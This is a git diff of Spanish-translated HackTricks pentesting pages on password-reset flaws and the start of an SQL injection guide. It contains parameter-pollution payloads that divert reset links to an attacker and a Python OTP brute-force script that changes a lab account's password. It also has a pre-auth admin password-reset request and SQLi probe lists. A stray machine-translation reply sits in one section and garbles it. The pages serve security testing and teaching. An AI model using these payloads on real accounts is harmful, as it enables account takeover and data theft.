- **Explotación**: Para verificar si un token de restablecimiento de contraseña se está filtrando en el encabezado referer, **solicita un restablecimiento de contraseña** a tu dirección de correo electrónico y **haz clic en el enlace de restablecimiento** proporcionado. **No cambies tu contraseña** de inmediato. En su lugar, **navega a un sitio web de terceros** (como Facebook o Twitter) mientras **interceptas las solicitudes usando Burp Suite**. Inspecciona las solicitudes para ver si el **encabezado referer contiene el token de restablecimiento de contraseña**, ya que esto podría exponer información sensible a terceros.
|
||||
- The HTTP referer header may leak the password reset token if it's included in the URL. Esto puede ocurrir cuando un usuario hace clic en un enlace de un sitio web de terceros después de solicitar un restablecimiento de contraseña.
|
||||
- **Impacto**: Posible takeover de la cuenta mediante ataques Cross-Site Request Forgery (CSRF).
|
||||
- **Explotación**: Para comprobar si un password reset token se está leaking en el referer header, **solicita un password reset** a tu dirección de correo y **haz clic en el reset link** proporcionado. **No cambies tu password** inmediatamente. En su lugar, **navega a un sitio web de terceros** (como Facebook o Twitter) mientras **interceptas las peticiones usando Burp Suite**. Inspecciona las peticiones para ver si el **referer header contiene el password reset token**, ya que esto podría exponer información sensible a terceros.
|
||||
- **Referencias**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
- [Artículo sobre la Filtración del Token de Restablecimiento de Contraseña](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **Envenenamiento del Restablecimiento de Contraseña**
|
||||
## **Password Reset Poisoning**
|
||||
|
||||
- Los atacantes pueden manipular el encabezado Host durante las solicitudes de restablecimiento de contraseña para apuntar el enlace de restablecimiento a un sitio malicioso.
|
||||
- **Impacto**: Conduce a una posible toma de control de cuenta al filtrar tokens de restablecimiento a los atacantes.
|
||||
- **Pasos de Mitigación**:
|
||||
- Valida el encabezado Host contra una lista blanca de dominios permitidos.
|
||||
- Utiliza métodos seguros del lado del servidor para generar URLs absolutas.
|
||||
- **Parche**: Usa `$_SERVER['SERVER_NAME']` para construir URLs de restablecimiento de contraseña en lugar de `$_SERVER['HTTP_HOST']`.
|
||||
- Los atacantes pueden manipular el Host header durante las peticiones de password reset para apuntar el reset link a un sitio malicioso.
|
||||
- **Impacto**: Conduce a una posible takeover de cuentas al leaking reset tokens a los atacantes.
|
||||
- **Pasos de mitigación**:
|
||||
- Valida el Host header contra una whitelist de dominios permitidos.
|
||||
- Usa métodos seguros del lado servidor para generar absolute URLs.
|
||||
- **Patch**: Usa `$_SERVER['SERVER_NAME']` para construir password reset URLs en lugar de `$_SERVER['HTTP_HOST']`.
|
||||
- **Referencias**:
|
||||
- [Artículo de Acunetix sobre el Envenenamiento del Restablecimiento de Contraseña](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Restablecimiento de Contraseña Manipulando el Parámetro de Correo Electrónico**
|
||||
## **Password Reset By Manipulating Email Parameter**
|
||||
|
||||
Los atacantes pueden manipular la solicitud de restablecimiento de contraseña añadiendo parámetros de correo electrónico adicionales para desviar el enlace de restablecimiento.
|
||||
Los atacantes pueden manipular la petición de password reset añadiendo parámetros de email adicionales para desviar el reset link.
|
||||
|
||||
- Agrega el correo electrónico del atacante como segundo parámetro usando &
|
||||
- Añadir el email del atacante como segundo parámetro usando &
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com&email=attacker@email.com
|
||||
```
|
||||
- Agrega el correo electrónico del atacante como segundo parámetro usando %20
|
||||
- Agregar attacker email como segundo parámetro usando %20
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com%20email=attacker@email.com
|
||||
```
|
||||
- Agrega el correo electrónico del atacante como segundo parámetro usando |
|
||||
- Añadir el correo electrónico del atacante como segundo parámetro usando |
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email=victim@email.com|email=attacker@email.com
|
||||
```
|
||||
- Agrega el correo electrónico del atacante como segundo parámetro usando cc
|
||||
- Añade el correo electrónico del atacante como segundo parámetro usando cc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
|
||||
```
|
||||
- Agregar el correo electrónico del atacante como segundo parámetro usando bcc
|
||||
- Añadir attacker email como segundo parámetro usando bcc
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
|
||||
```
|
||||
- Agrega el correo electrónico del atacante como segundo parámetro usando ,
|
||||
- Añadir attacker email como segundo parámetro usando ,
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
- Agregar el correo electrónico del atacante como segundo parámetro en el array JSON
|
||||
Necesito el contenido del archivo o el fragmento JSON que quieres modificar para poder traducirlo y añadir el email del atacante como segundo parámetro en el array JSON. ¿Puedes pegar aquí el texto o el bloque de código?
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
- **Pasos de Mitigación**:
|
||||
- Analizar y validar adecuadamente los parámetros de correo electrónico del lado del servidor.
|
||||
- Utilizar declaraciones preparadas o consultas parametrizadas para prevenir ataques de inyección.
|
||||
- **Pasos de mitigación**:
|
||||
- Analizar y validar correctamente los parámetros de correo electrónico en el servidor.
|
||||
- Usar prepared statements o parameterized queries para prevenir ataques de inyección.
|
||||
- **Referencias**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **Cambio de Correo Electrónico y Contraseña de Cualquier Usuario a Través de Parámetros de API**
|
||||
## **Cambio de correo electrónico y contraseña de cualquier usuario mediante parámetros de la API**
|
||||
|
||||
- Los atacantes pueden modificar los parámetros de correo electrónico y contraseña en las solicitudes de API para cambiar las credenciales de la cuenta.
|
||||
- Los atacantes pueden modificar los parámetros de correo electrónico y contraseña en las solicitudes de la API para cambiar las credenciales de la cuenta.
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||
```
|
||||
- **Pasos de Mitigación**:
|
||||
- Asegúrese de una validación estricta de parámetros y controles de autenticación.
|
||||
- Implemente un registro y monitoreo robustos para detectar y responder a actividades sospechosas.
|
||||
- **Pasos de mitigación**:
|
||||
- Asegurar una validación estricta de parámetros y comprobaciones de autenticación.
|
||||
- Implementar logging y monitoreo robustos para detectar y responder a actividades sospechosas.
|
||||
- **Referencia**:
|
||||
- [Toma de Control Completa de Cuenta a través de Manipulación de Parámetros de API](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||
|
||||
## **Sin Limitación de Tasa: Bombardeo de Correos Electrónicos**
|
||||
## **No Rate Limiting: Email Bombing**
|
||||
|
||||
- La falta de limitación de tasa en las solicitudes de restablecimiento de contraseña puede llevar a un bombardeo de correos electrónicos, abrumando al usuario con correos de restablecimiento.
|
||||
- **Pasos de Mitigación**:
|
||||
- Implemente limitación de tasa basada en la dirección IP o la cuenta de usuario.
|
||||
- Use desafíos CAPTCHA para prevenir abusos automatizados.
|
||||
- La falta de rate limiting en las solicitudes de password reset puede llevar a email bombing, abrumando al usuario con correos de reset.
|
||||
- **Pasos de mitigación**:
|
||||
- Implementar rate limiting basado en dirección IP o en la cuenta de usuario.
|
||||
- Usar desafíos CAPTCHA para prevenir abuso automatizado.
|
||||
- **Referencias**:
|
||||
- [Informe de HackerOne 280534](https://hackerone.com/reports/280534)
|
||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||
|
||||
## **Descubrir Cómo se Genera el Token de Restablecimiento de Contraseña**
|
||||
## **Find out How Password Reset Token is Generated**
|
||||
|
||||
- Comprender el patrón o método detrás de la generación de tokens puede llevar a predecir o forzar tokens. Algunas opciones:
|
||||
- Basado en Timestamp
|
||||
- Basado en el UserID
|
||||
- Basado en el correo electrónico del Usuario
|
||||
- Basado en Nombre y Apellido
|
||||
- Basado en Fecha de Nacimiento
|
||||
- Basado en Criptografía
|
||||
- **Pasos de Mitigación**:
|
||||
- Use métodos criptográficos fuertes para la generación de tokens.
|
||||
- Asegúrese de suficiente aleatoriedad y longitud para prevenir la predictibilidad.
|
||||
- **Herramientas**: Use Burp Sequencer para analizar la aleatoriedad de los tokens.
|
||||
- Entender el patrón o método detrás de la generación del Password Reset Token puede permitir predecirlo o hacer brute-force. Algunas opciones:
|
||||
- Based Timestamp
|
||||
- Based on the UserID
|
||||
- Based on email of User
|
||||
- Based on Firstname and Lastname
|
||||
- Based on Date of Birth
|
||||
- Based on Cryptography
|
||||
- **Pasos de mitigación**:
|
||||
- Usar métodos criptográficos fuertes para la generación de tokens.
|
||||
- Asegurar suficiente aleatoriedad y longitud para prevenir predictibilidad.
|
||||
- **Herramientas**: Usar Burp Sequencer para analizar la aleatoriedad de los tokens.
|
||||
|
||||
## **UUID Adivinable**
|
||||
## **Guessable UUID**
|
||||
|
||||
- Si los UUIDs (version 1) son adivinables o previsibles, los atacantes pueden brute-forcearlos para generar reset tokens válidos. Revisa:
|
||||
|
||||
- Si los UUIDs (versión 1) son adivinables o predecibles, los atacantes pueden forzarlos para generar tokens de restablecimiento válidos. Verifique:
|
||||
|
||||
{{#ref}}
|
||||
uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **Pasos de Mitigación**:
|
||||
- Use GUID versión 4 para aleatoriedad o implemente medidas de seguridad adicionales para otras versiones.
|
||||
- **Herramientas**: Use [guidtool](https://github.com/intruder-io/guidtool) para analizar y generar GUIDs.
|
||||
- **Pasos de mitigación**:
|
||||
- Usar GUID version 4 para mayor aleatoriedad o implementar medidas adicionales de seguridad para otras versiones.
|
||||
- **Herramientas**: Usar [guidtool](https://github.com/intruder-io/guidtool) para analizar y generar GUIDs.
|
||||
|
||||
## **Manipulación de Respuesta: Reemplazar Respuesta Mala con Buena**
|
||||
## **Response Manipulation: Replace Bad Response With Good One**
|
||||
|
||||
- Manipulando respuestas HTTP para eludir mensajes de error o restricciones.
|
||||
- **Pasos de Mitigación**:
|
||||
- Implemente verificaciones del lado del servidor para asegurar la integridad de la respuesta.
|
||||
- Use canales de comunicación seguros como HTTPS para prevenir ataques de intermediarios.
|
||||
- Manipular respuestas HTTP para eludir mensajes de error o restricciones.
|
||||
- **Pasos de mitigación**:
|
||||
- Implementar comprobaciones server-side para asegurar la integridad de las respuestas.
|
||||
- Usar canales de comunicación seguros como HTTPS para prevenir man-in-the-middle.
|
||||
- **Referencia**:
|
||||
- [Error Crítico en Evento de Recompensa por Errores en Vivo](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
|
||||
## **Uso de Token Expirado**
|
||||
## **Using Expired Token**
|
||||
|
||||
- Probando si los tokens expirados aún pueden ser utilizados para el restablecimiento de contraseña.
|
||||
- **Pasos de Mitigación**:
|
||||
- Implemente políticas estrictas de expiración de tokens y valide la expiración del token del lado del servidor.
|
||||
- Probar si tokens expirados aún pueden usarse para el password reset.
|
||||
- **Pasos de mitigación**:
|
||||
- Implementar políticas estrictas de expiración de tokens y validar la expiración server-side.
|
||||
|
||||
## **Fuerza Bruta del Token de Restablecimiento de Contraseña**
|
||||
## **Brute Force Password Reset Token**
|
||||
|
||||
- Intentando forzar el token de restablecimiento usando herramientas como Burpsuite e IP-Rotator para eludir límites de tasa basados en IP.
|
||||
- **Pasos de Mitigación**:
|
||||
- Implemente mecanismos robustos de limitación de tasa y bloqueo de cuentas.
|
||||
- Monitoree actividades sospechosas indicativas de ataques de fuerza bruta.
|
||||
- Intentar brute-force del reset token usando herramientas como Burpsuite y IP-Rotator para evadir rate limits basados en IP.
|
||||
- **Pasos de mitigación**:
|
||||
- Implementar rate-limiting robusto y mecanismos de bloqueo de cuenta.
|
||||
- Monitorizar actividades sospechosas indicativas de ataques de fuerza bruta.
|
||||
|
||||
## **Intente Usar Su Token**
|
||||
## **Try Using Your Token**
|
||||
|
||||
- Probando si el token de restablecimiento de un atacante puede ser utilizado junto con el correo electrónico de la víctima.
|
||||
- **Pasos de Mitigación**:
|
||||
- Asegúrese de que los tokens estén vinculados a la sesión del usuario u otros atributos específicos del usuario.
|
||||
- Probar si el reset token de un atacante puede usarse junto con el email de la víctima.
|
||||
- **Pasos de mitigación**:
|
||||
- Asegurar que los tokens estén vinculados a la sesión del usuario u otros atributos específicos del usuario.
|
||||
|
||||
## **Invalidación de Sesión en Cierre de Sesión/Restablecimiento de Contraseña**
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- Asegurándose de que las sesiones se invaliden cuando un usuario cierra sesión o restablece su contraseña.
|
||||
- **Pasos de Mitigación**:
|
||||
- Implemente una gestión adecuada de sesiones, asegurando que todas las sesiones se invaliden al cerrar sesión o restablecer la contraseña.
|
||||
- Asegurar que las sesiones se invaliden cuando un usuario hace logout o resetea su password.
|
||||
- **Pasos de mitigación**:
|
||||
- Implementar una gestión de sesiones correcta, asegurando que todas las sesiones se invaliden al hacer logout o al resetear la contraseña.
|
||||
|
||||
## **Invalidación de Sesión en Cierre de Sesión/Restablecimiento de Contraseña**
|
||||
## **Session Invalidation in Logout/Password Reset**
|
||||
|
||||
- Los tokens de restablecimiento deben tener un tiempo de expiración después del cual se vuelven inválidos.
|
||||
- **Pasos de Mitigación**:
|
||||
- Establezca un tiempo de expiración razonable para los tokens de restablecimiento y aplíquelo estrictamente del lado del servidor.
|
||||
- Los reset tokens deben tener un tiempo de expiración después del cual se vuelven inválidos.
|
||||
- **Pasos de mitigación**:
|
||||
- Establecer un tiempo de expiración razonable para los reset tokens y aplicarlo estrictamente server-side.
|
||||
|
||||
## **Eludir la Limitación de Tasa de OTP cambiando su sesión**
|
||||
## **OTP rate limit bypass by changing your session**
|
||||
|
||||
- Si el sitio web está utilizando la sesión del usuario para rastrear intentos incorrectos de OTP y el OTP era débil ( <= 4 dígitos), entonces podemos forzar efectivamente el OTP.
|
||||
- **explotación**:
|
||||
- simplemente solicite un nuevo token de sesión después de ser bloqueado por el servidor.
|
||||
- **Ejemplo** de código que explota este error adivinando aleatoriamente el OTP (cuando cambie la sesión, el OTP también cambiará, ¡y así no podremos forzarlo secuencialmente!):
|
||||
- Si el sitio usa la sesión de usuario para rastrear intentos fallidos de OTP y el OTP es débil (<= 4 dígitos) entonces podemos efectivamente brute-forcear el OTP.
|
||||
- **exploitation**:
|
||||
- simplemente solicitar un nuevo session token después de ser bloqueado por el servidor.
|
||||
- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
|
||||
|
||||
``` python
|
||||
# Bypass de autenticación por restablecimiento de contraseña
|
||||
# por coderMohammed
|
||||
# Authentication bypass by password reset
|
||||
# by coderMohammed
|
||||
import requests
|
||||
import random
|
||||
from time import sleep
|
||||
@ -192,46 +193,83 @@ parms = dict()
|
||||
ter = 0
|
||||
phpsessid = ""
|
||||
|
||||
print("[+] ¡Iniciando ataque!")
|
||||
print("[+] Starting attack!")
|
||||
sleep(3)
|
||||
print("[+] ¡Esto puede tardar alrededor de 5 minutos en terminar!")
|
||||
print("[+] This might take around 5 minutes to finish!")
|
||||
|
||||
try:
|
||||
while True:
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # número aleatorio de 0 - 9999 con 4 d
|
||||
parms["s"] = 164 # no importante, solo afecta el frontend
|
||||
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
|
||||
parms["s"] = 164 # not important it only efects the frontend
|
||||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
if ter == 8: # seguir número de intentos
|
||||
out = requests.get(logout,headers=headers) # te cierra sesión
|
||||
mainp = requests.get(root) # obtiene otro phpssid (token)
|
||||
if ter == 8: # follow number of trails
|
||||
out = requests.get(logout,headers=headers) # log u out
|
||||
mainp = requests.get(root) # gets another phpssid (token)
|
||||
|
||||
cookies = out.cookies # extraer el sessionid
|
||||
cookies = out.cookies # extract the sessionid
|
||||
phpsessid = cookies.get('PHPSESSID')
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" # actualizar los headers con nueva sesión
|
||||
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
|
||||
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # envía el correo para cambiar la contraseña
|
||||
ter = 0 # reiniciar ter para obtener una nueva sesión después de 8 intentos
|
||||
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
|
||||
ter = 0 # reset ter so we get a new session after 8 trails
|
||||
else:
|
||||
ter += 1
|
||||
if(len(res.text) == 2292): # esta es la longitud de la página cuando obtienes el código de recuperación correctamente (obtenido por prueba)
|
||||
print(len(res.text)) # para información de depuración
|
||||
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
|
||||
print(len(res.text)) # for debug info
|
||||
print(phpsessid)
|
||||
|
||||
reset_data = { # aquí cambiaremos la contraseña a algo nuevo
|
||||
reset_data = { # here we will change the password to somthing new
|
||||
"new_password": "D37djkamd!",
|
||||
"confirm_password": "D37djkamd!"
|
||||
}
|
||||
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
|
||||
|
||||
print("[+] ¡La contraseña ha sido cambiada a:D37djkamd!")
|
||||
print("[+] Password has been changed to:D37djkamd!")
|
||||
break
|
||||
except Exception as e:
|
||||
print("[+] Ataque detenido")
|
||||
print("[+] Attck stopped")
|
||||
```
|
||||
|
||||
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
||||
|
||||
Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.
|
||||
|
||||
Vulnerable pattern (PHP):
|
||||
```php
|
||||
// hub/rpwd.php
|
||||
RequestHandler::validateCSRFToken();
|
||||
$RP = new RecoverPwd();
|
||||
$RP->process($_REQUEST, $_POST);
|
||||
|
||||
// modules/Users/RecoverPwd.php
|
||||
if ($request['action'] == 'change_password') {
|
||||
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
|
||||
}
|
||||
|
||||
public function displayChangePwd($smarty, $username, $newpwd) {
|
||||
$current_user = CRMEntity::getInstance('Users');
|
||||
$current_user->id = $current_user->retrieve_user_id($username);
|
||||
// ... criteria checks omitted ...
|
||||
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
|
||||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||||
}
|
||||
```
|
||||
Solicitud de explotación (concepto):
|
||||
```http
|
||||
POST /hub/rpwd.php HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||
```
|
||||
Mitigations:
|
||||
- Siempre exige un reset token válido y limitado en el tiempo, vinculado a la account y al session antes de cambiar la contraseña.
|
||||
- Nunca expongas las rutas skipOldPwdCheck a usuarios no autenticados; exige autenticación para cambios de contraseña normales y verifica la contraseña anterior.
|
||||
- Invalida todas las sessions activas y los reset tokens después de un cambio de contraseña.
|
||||
|
||||
## Referencias
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## ¿Qué es la inyección SQL?
|
||||
## ¿Qué es SQL injection?
|
||||
|
||||
Una **inyección SQL** es una falla de seguridad que permite a los atacantes **interferir con las consultas de la base de datos** de una aplicación. Esta vulnerabilidad puede permitir a los atacantes **ver**, **modificar** o **eliminar** datos a los que no deberían tener acceso, incluyendo información de otros usuarios o cualquier dato al que la aplicación pueda acceder. Tales acciones pueden resultar en cambios permanentes en la funcionalidad o contenido de la aplicación o incluso en la compromisión del servidor o en la denegación de servicio.
|
||||
Una **SQL injection** es una falla de seguridad que permite a los atacantes **interferir con las consultas a la base de datos** de una aplicación. Esta vulnerabilidad puede permitir a los atacantes **ver**, **modificar** o **eliminar** datos a los que no deberían tener acceso, incluyendo información de otros usuarios o cualquier dato al que la aplicación pueda acceder. Tales acciones pueden resultar en cambios permanentes en la funcionalidad o contenido de la aplicación o incluso en el compromiso del servidor o en una denegación de servicio.
|
||||
|
||||
## Detección de puntos de entrada
|
||||
## Detección del punto de entrada
|
||||
|
||||
Cuando un sitio parece ser **vulnerable a la inyección SQL (SQLi)** debido a respuestas inusuales del servidor a entradas relacionadas con SQLi, el **primer paso** es entender cómo **inyectar datos en la consulta sin interrumpirla**. Esto requiere identificar el método para **escapar del contexto actual** de manera efectiva. Estos son algunos ejemplos útiles:
|
||||
Cuando un sitio parece ser **vulnerable a SQL injection (SQLi)** debido a respuestas inusuales del servidor a entradas relacionadas con SQLi, el **primer paso** es entender cómo **inyectar datos en la consulta sin interrumpirla**. Esto requiere identificar el método para **escapar del contexto actual** de forma efectiva. Estos son algunos ejemplos útiles:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -21,9 +21,9 @@ Cuando un sitio parece ser **vulnerable a la inyección SQL (SQLi)** debido a re
|
||||
"))
|
||||
`))
|
||||
```
|
||||
Entonces, necesitas saber cómo **arreglar la consulta para que no haya errores**. Para arreglar la consulta, puedes **ingresar** datos para que la **consulta anterior acepte los nuevos datos**, o simplemente puedes **ingresar** tus datos y **agregar un símbolo de comentario al final**.
|
||||
Entonces, necesitas saber cómo **arreglar la consulta para que no haya errores**. Para arreglar la consulta puedes **introducir** datos para que la **consulta anterior acepte los nuevos datos**, o puedes simplemente **introducir** tus datos y **añadir un símbolo de comentario al final**.
|
||||
|
||||
_Nota que si puedes ver mensajes de error o puedes notar diferencias cuando una consulta está funcionando y cuando no, esta fase será más fácil._
|
||||
_Nota: si puedes ver mensajes de error o detectar diferencias cuando una consulta funciona y cuando no, esta fase será más fácil._
|
||||
|
||||
### **Comentarios**
|
||||
```sql
|
||||
@ -51,20 +51,20 @@ SQLite
|
||||
HQL
|
||||
HQL does not support comments
|
||||
```
|
||||
### Confirmando con operaciones lógicas
|
||||
### Confirmación con operaciones lógicas
|
||||
|
||||
Un método confiable para confirmar una vulnerabilidad de inyección SQL implica ejecutar una **operación lógica** y observar los resultados esperados. Por ejemplo, un parámetro GET como `?username=Peter` que produce contenido idéntico cuando se modifica a `?username=Peter' or '1'='1` indica una vulnerabilidad de inyección SQL.
|
||||
Un método fiable para confirmar una vulnerabilidad de SQL injection consiste en ejecutar una **operación lógica** y observar los resultados esperados. Por ejemplo, un GET parameter como `?username=Peter` que devuelve contenido idéntico cuando se modifica a `?username=Peter' or '1'='1` indica una vulnerabilidad de SQL injection.
|
||||
|
||||
De manera similar, la aplicación de **operaciones matemáticas** sirve como una técnica de confirmación efectiva. Por ejemplo, si acceder a `?id=1` y `?id=2-1` produce el mismo resultado, es indicativo de inyección SQL.
|
||||
De manera similar, la aplicación de **operaciones matemáticas** sirve como técnica de confirmación eficaz. Por ejemplo, si acceder a `?id=1` y `?id=2-1` produce el mismo resultado, es indicativo de SQL injection.
|
||||
|
||||
Ejemplos que demuestran la confirmación de operaciones lógicas:
|
||||
Ejemplos que demuestran la confirmación mediante operaciones lógicas:
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
page.asp?id=1" or 1=1 -- results in true
|
||||
page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
Esta lista de palabras fue creada para intentar **confirmar SQLinjections** de la manera propuesta:
|
||||
Esta lista de palabras fue creada para intentar **confirmar SQLinjections** de la forma propuesta:
|
||||
|
||||
<details>
|
||||
<summary>True SQLi</summary>
|
||||
@ -154,10 +154,10 @@ true
|
||||
```
|
||||
</details>
|
||||
|
||||
### Confirmando con Tiempos
|
||||
### Confirmando con temporización
|
||||
|
||||
En algunos casos **no notarás ningún cambio** en la página que estás probando. Por lo tanto, una buena manera de **descubrir inyecciones SQL ciegas** es hacer que la base de datos realice acciones que tendrán un **impacto en el tiempo** que necesita la página para cargar.\
|
||||
Por lo tanto, vamos a concatenar en la consulta SQL una operación que tomará mucho tiempo en completarse:
|
||||
En algunos casos no **verás ningún cambio** en la página que estás probando. Por eso, una buena manera de **descubrir blind SQL injections** es hacer que la DB realice acciones que tengan un **impacto en el tiempo** que necesita la página para cargarse.\
|
||||
Por lo tanto, vamos a concat en la SQL query una operación que tardará mucho tiempo en completarse:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
1' + sleep(10)
|
||||
@ -179,11 +179,11 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
En algunos casos, las **funciones de sleep no estarán permitidas**. Entonces, en lugar de usar esas funciones, podrías hacer que la consulta **realice operaciones complejas** que tardarán varios segundos. _Ejemplos de estas técnicas se comentarán por separado en cada tecnología (si las hay)_.
|
||||
En algunos casos las **sleep functions no estarán permitidas**. Entonces, en lugar de usar esas funciones podrías hacer que la consulta **realice operaciones complejas** que tarden varios segundos. _Los ejemplos de estas técnicas se comentarán por separado en cada tecnología (si procede)_.
|
||||
|
||||
### Identificación del Back-end
|
||||
### Identifying Back-end
|
||||
|
||||
La mejor manera de identificar el back-end es intentar ejecutar funciones de los diferentes back-ends. Podrías usar las _**funciones de sleep**_ de la sección anterior o estas (tabla de [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
La mejor forma de identificar el back-end es intentando ejecutar funciones de los distintos back-ends. Puedes usar las _**sleep**_ **functions** de la sección anterior o estas (tabla de [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
|
||||
```bash
|
||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||
["connection_id()=connection_id()" ,"MYSQL"],
|
||||
@ -211,10 +211,10 @@ La mejor manera de identificar el back-end es intentar ejecutar funciones de los
|
||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
También, si tienes acceso a la salida de la consulta, podrías hacer que **imprima la versión de la base de datos**.
|
||||
También, si tienes acceso a la salida de la consulta, podrías hacer que imprima la **versión de la base de datos**.
|
||||
|
||||
> [!TIP]
|
||||
> A continuación, vamos a discutir diferentes métodos para explotar diferentes tipos de SQL Injection. Usaremos MySQL como ejemplo.
|
||||
> A continuación vamos a discutir diferentes métodos para explotar distintos tipos de SQL Injection. Usaremos MySQL como ejemplo.
|
||||
|
||||
### Identificando con PortSwigger
|
||||
|
||||
@ -223,17 +223,17 @@ También, si tienes acceso a la salida de la consulta, podrías hacer que **impr
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## Explotando Basado en Unión
|
||||
## Explotando Union Based
|
||||
|
||||
### Detectando el número de columnas
|
||||
|
||||
Si puedes ver la salida de la consulta, esta es la mejor manera de explotarla.\
|
||||
Primero que nada, necesitamos averiguar el **número** de **columnas** que la **solicitud inicial** está devolviendo. Esto se debe a que **ambas consultas deben devolver el mismo número de columnas**.\
|
||||
Se utilizan típicamente dos métodos para este propósito:
|
||||
Si puedes ver la salida de la consulta esta es la mejor forma de explotarla.\
|
||||
Primero, necesitamos averiguar el **número** de **columnas** que la **solicitud inicial** está devolviendo. Esto es porque **ambas consultas deben devolver el mismo número de columnas**.\
|
||||
Típicamente se usan dos métodos para este propósito:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
